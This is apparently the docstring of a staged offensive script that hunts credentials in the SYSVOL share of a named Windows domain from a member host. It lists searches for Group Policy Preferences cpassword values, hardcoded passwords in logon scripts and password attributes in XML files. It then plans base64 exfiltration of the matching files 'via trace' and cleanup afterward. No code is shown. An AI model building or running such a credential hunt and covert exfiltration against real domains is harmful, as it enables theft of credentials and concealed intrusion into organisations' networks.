r"""SYSVOL credential hunt from STASRV25018 (domain member). Staged; --execute.

\\star.mg\SYSVOL is domain-wide readable. Searches:
  1. GPP XML files for cpassword (groups/scheduledtasks/services/datasources/drives/printers)
  2. Logon/startup scripts (.bat/.cmd/.ps1/.vbs) for hardcoded creds (net use /user:, passw, runas)
  3. Any .xml with "password" attribute
READ-ONLY (no SYSVOL writes). base64-exfil of matching files via trace. Cleanup after.
